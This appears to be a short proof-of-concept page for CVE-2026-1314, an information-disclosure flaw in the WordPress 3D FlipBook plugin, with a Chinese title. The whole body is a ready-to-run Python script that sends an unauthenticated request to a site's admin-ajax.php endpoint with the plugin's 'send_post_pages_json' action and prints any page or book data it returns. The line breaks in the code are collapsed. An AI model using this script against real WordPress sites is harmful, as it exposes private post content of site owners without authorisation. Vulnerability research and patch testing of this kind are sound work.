CVE-2026-1314: WordPress 3D FlipBook插件信息泄露漏洞

import requests def check_vulnerability(target_url, post_id): # The vulnerable endpoint is typically admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload targeting the missing capability check payload = { "action": "send_post_pages_json", "postId": post_id } try: # Send unauthenticated POST request response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: # Check if sensitive JSON data is returned try: data = response.json() if "pages" in data or "book" in data: print(f"[+] Vulnerability confirmed! Data leaked for Post ID {post_id}:") print(data) return True except ValueError: pass print(f"[-] Could not confirm vulnerability or target is patched.") return False except Exception as e: print(f"Error: {e}") # Usage example # check_vulnerability("http://example.com", "123")